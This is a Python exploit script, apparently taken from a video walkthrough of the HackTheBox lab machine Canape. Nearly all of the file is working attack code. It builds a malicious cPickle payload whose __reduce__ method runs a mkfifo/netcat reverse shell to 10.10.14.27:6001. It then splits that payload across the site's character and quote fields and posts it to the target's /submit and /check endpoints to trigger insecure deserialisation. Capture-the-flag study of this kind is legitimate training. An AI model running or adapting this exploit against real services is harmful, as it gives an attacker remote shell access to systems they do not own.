#
#  Code from Ippsec HackTheBox Machine Canape
#
#  Initial exploit of cPickle on the webset
#
#  From YouTube https://youtu.be/rs75y2qPonc
#

import os
import cPickle
from hashlib import md5
import requests

class PleaseSubscribe(object):
    def __reduce__(self):
        return(os.system, ('echo homer!;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.27 6001 >/tmp/f',))

sc = cPickle.dumps(PleaseSubscribe())

char, quote = sc.split("!")

p_id = md5(char + quote).hexdigest()

requests.post("http://10.10.10.70/submit", data={'character':char, 'quote': quote})

requests.post("http://10.10.10.70/check", data={'id':p_id})
